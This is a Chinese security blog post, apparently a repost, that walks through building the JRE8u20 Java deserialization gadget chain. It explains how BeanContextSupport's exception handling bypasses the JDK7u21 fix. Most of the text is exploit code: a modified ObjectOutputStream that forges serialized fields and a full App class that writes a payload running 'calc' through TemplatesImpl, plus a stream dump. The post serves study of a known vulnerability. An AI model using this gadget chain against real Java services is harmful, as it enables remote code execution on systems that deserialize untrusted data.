记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

JRE8u20 反序列化

2020-02-21 10:15

概述

JRE8u20 反序列化漏洞主要原理有两个:

1、利用了 JDK7u21 的构造原理;

2、通过 BeanContextSupport 类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler 反序列的修复;

Java 默认反序列化类基础上进行了修改,学习过程记录一下。

涉及知识点:Java 序列化和反序列化、反射、动态代理等等。

环境:jdk1.8.0_20IDEA 2019.2

Java 序列化文章可以参考:https://blog.csdn.net/silentbalanceyh/article/details/8183849

分析过程

JDK7u21 漏洞修复

首先看一下 jdk1.8.0_20AnnotationInvocationHandler 类的反序列化修复。

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

如果 this.type 字段不是 Annotation 类型,则抛出异常。在 JDK7u21 反序列化中, this.type 字段值是 Templates.class,所以这里肯定会抛出异常。

JRE8u20 绕过思路

Java 序列化和反序列化流程中涉及引用概念:序列化对象时,每次写入序列化对象前会调用 handles.lookup() 方法,看这个对象是否已经写入序列化,如果已经写入,则调用 writeHandle(h); 写入引用类型标识和 handle 引用值 0x7e0000 + handle

JDK7u21 序列化中,会先调用 HashSet 类的 writeObject 方法,然后调用 AnnotationInvocationHandler 默认的 defaultWriteFields(obj, slotDesc) 方法,所以在反序列化时也会先调用 HashSet 类的 readObject 方法,然后调用AnnotationInvocationHandler 类的 readObject 方法。上面说过 AnnotationInvocationHandler 类的 readObject 方法会抛出异常,而 HashSet 类的 readObject 方法没有捕获异常并处理,所以这个异常会直接抛出。

所以我们可以利用引用,如果找到一个类能调用并捕获AnnotationInvocationHandler 类的 readObject 方法的异常并且能继续执行,然后 HashSet 类的 readObject 方法直接读取 AnnotationInvocationHandler 类对象的引用。

寻找一个类,这个类需要满足几个条件:

1、实现 Serializable;

2、重写了 readObject 方法;

3、readObject 方法还存在对 readObject 的调用,并且对调用的 readObject 方法进行了异常捕获并继续执行;

JRE8u20 中使用的是 java.beans.beancontext.BeanContextSupport 这个类,看一下这个类的 readObject 方法,其中调用了 readChildren(ObjectInputStream ois) 方法,主要代码如下:

try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}

这个类正好满足我们的条件。

测试用例

Example 类模拟 AnnotationInvocationHandler

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Example implements Serializable {
private static final long serialVersionUID = 1L;
private String name;

public Example(String name) {
this.name = name;
}

private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
if (!this.name.equals("Example")) {
throw new IOException("name is error");
}
}
}

Wrapper 类模拟 BeanContextSupport

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Wrapper implements Serializable {
private static final long serialVersionUID = 1L;

private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("Wrapper child object readObject error");
}
}
}

Wrapper 类没有重写 writeObject 方法,可以根据 readObject 方法重新构造序列化流程。这里将默认 ObjectStreamClassObjectStreamFieldObjectStreamStreamSerialCallbackContextBits类拷贝下来,进行重新修改。类名分别为 TCObjectStreamClassTCObjectStreamFieldTCObjectStreamStreamSerialCallbackContextBits

App

public class App {
public static void main(String[] args) throws Exception {
Example ex = new Example("test");
Wrapper wp = new Wrapper();

TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
oos.setEx(ex);
oos.writeObject0(wp);
oos.writeObject0(ex);

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
objectInputStream.readObject();
System.out.println(objectInputStream.readObject());
}
}

重新构造 Wrapper 类的写入序列化流程,目标是将 Wrapper 对象像如下方式写入序列化。所以需要修改序列化流程中的字段和语句。

private void writeObject(ObjectOutputStream s)
throws Exception {
s.defaultWriteObject();
s.writeObject(ex); // 写入 Example 对象
}

1、首先修改 TCObjectStreamClass(final Class<?> cl) 构造方法,让 Wrapper 类描述的 writeObjectMethod 字段不为 null,这样在写入序列化数据时,会调用重写的 writeObject 方法流程。

if (cl.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
try {
writeObjectMethod = HashSet.class.getDeclaredMethod("writeObject", new Class<?>[] { ObjectOutputStream.class });
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else {
writeObjectMethod = getPrivateMethod(cl, "writeObject",
new Class<?>[] { ObjectOutputStream.class },
Void.TYPE);
}

2、修改 TCObjectOutputStream 类的 writeSerialData 方法。将 slotDesc.invokeWriteObject(obj, this); 语句替换如下:

if(slotDesc.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
defaultWriteObject();
writeObject0(getEx());
}else {
defaultWriteObject();
}

然后执行 App 类的 main 方法,通过执行结果已经达到了我们的目的。

Wrapper child object readObject error
com.haby0.deserialization.JRE8u20.Example@2626b418

序列化文件如下:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.haby0.deserialization.JRE8u20.Wrapper - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e57726170706572
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.haby0.deserialization.JRE8u20.Wrapper
values
objectAnnotation
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.haby0.deserialization.JRE8u20.Example - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e4578616d706c65
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 04
classdata
com.haby0.deserialization.JRE8u20.Example
values
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 4 - 0x00 04
Value - test - 0x74657374
TC_ENDBLOCKDATA - 0x78
TC_REFERENCE - 0x71
Handle - 8257540 - 0x00 7e 00 04

JRE8u20 构造思路

BeanContextSupport 类关注点

看一下 BeanContextSupport 类的反序列化方法

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject(); // 调用默认的反序列化方法

initialize(); // 初始化一堆字段

bcsPreDeserializationHook(ois);

if (serializable > 0 && this.equals(getBeanContextPeer())) // 当 serializable > 0,并且父类 beanContextChildPeer 字段值为当前对象时,调用 readChildren 方法调用子对象的 readObject 方法
readChildren(ois);

deserialize(ois, bcmListeners = new ArrayList(1)); // 当 ois.readInt() 大于零时继续反序列化对象,并将对象添加到 bcmListeners 中
}
}

所以我们在重写 BeanContextSupport 类的序列化数据时应该这样写入:

defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);

并且 serializable 的字段值设置为 1,beanContextChildPeer 字段值设置为 BeanContextSupport 对象。

原有序列化流程修改点

1、在 HashSet 类中构造假字段,字段类型为 java.beans.beancontext.BeanContextSupport,BeanContextSupport 和 BeanContextChildSupport 类只写入自己想要写入的字段;

if (cl == java.util.HashSet.class){
fields = SetHashField(); // 构造 HashSet 类假字段
}else if (cl == java.beans.beancontext.BeanContextSupport.class){
fields = SetBeanContextSupportField(); // BeanContextSupport 序列化要写入的字段 serializable
}else if (cl == java.beans.beancontext.BeanContextChildSupport.class){
fields = SetBeanContextChildSupportField(); // BeanContextChildSupport 序列化要写入的字段 beanContextChildPeer
}else {
fields = getSerialFields(cl); // 默认获取序列化字段流程
}

2、修改 sun.reflect.annotation.AnnotationInvocationHandler 类的 hasWriteObjectData

if (cl.getName() == "sun.reflect.annotation.AnnotationInvocationHandler"){
hasWriteObjectData = true;
}else {
hasWriteObjectData = (writeObjectMethod != null);
}

3、重新构造调用重写 writeObject 方法的序列化流程,根据 JDK7u21 序列化的类来修改 writeSerialData 方法,将 slotDesc.invokeWriteObject(obj, this); 语句修改如下:

if (slotDesc.getName().equals("java.util.HashSet")){
defaultWriteObject();
bout.writeInt(16);
bout.writeFloat(.75f);
bout.writeInt(2);
writeObject0(getTemplatesImpl(), false);
writeObject0(getTemplates(), false);
}else if(slotDesc.getName().equals("java.beans.beancontext.BeanContextSupport")){
defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);

}else if(slotDesc.getName().equals("java.util.HashMap")){
defaultWriteObject();
bout.writeInt(16);
bout.writeInt(1);
writeObject0("f5a5a608");
writeObject0(getTemplatesImpl());

} else if(slotDesc.getName().equals("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")){
defaultWriteObject();
bout.writeBoolean(false);
} else {
defaultWriteObject();
}

4、修改 defaultWriteFields(obj, slotDesc); 方法,将 writeObject0(objVals[i],fields[numPrimFields + i].isUnshared()); 修改如下:

if (desc.getName() == "java.util.HashSet"){
writeObject0(getBeanContextSupport(),false); // 为构造的假字段写入值为 BeanContextSupport 对象
}else if (desc.getName() == "java.beans.beancontext.BeanContextChildSupport"){
writeObject0(getBeanContextSupport(),false); // 为 beanContextChildPeer 字段写入值为 BeanContextSupport() 对象
}else {
writeObject0(objVals[i],
fields[numPrimFields + i].isUnshared());
}

构造代码

相关代码上传 github

package com.haby0.deserialization.JRE8u20;

import com.haby0.deserialization.JDK7u21;
import com.haby0.deserialization.JRE8u20.myutil.TCObjectOutputStream;
import com.haby0.deserialization.util.ClassFiles;
import com.haby0.deserialization.util.ClassLoaderImpl;
import com.haby0.deserialization.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.*;
import java.util.*;

public class App {
public static void main(String[] args) throws Exception {
BeanContextSupport bcs = new BeanContextSupport();

Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 1);

TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

HashMap map = new HashMap();
map.put("f5a5a608", "aaaa");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
newInstance(Templates.class, map);

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

LinkedHashSet set = new LinkedHashSet();
set.add(calc);
set.add(templates);

TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
oos.setTemplates(templates);
oos.setTemplatesImpl(calc);
oos.setInvocationHandler(tempHandler);
oos.setBeanContextSupport(bcs);
oos.setLhs(set);

oos.writeObject0(set);

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
objectInputStream.readObject();

}
}

参考

https://www.anquanke.com/post/id/87270

https://github.com/pwntester/JRE8u20_RCE_Gadget


知识来源: xz.aliyun.com/t/7240

阅读:38162 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“JRE8u20 反序列化”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词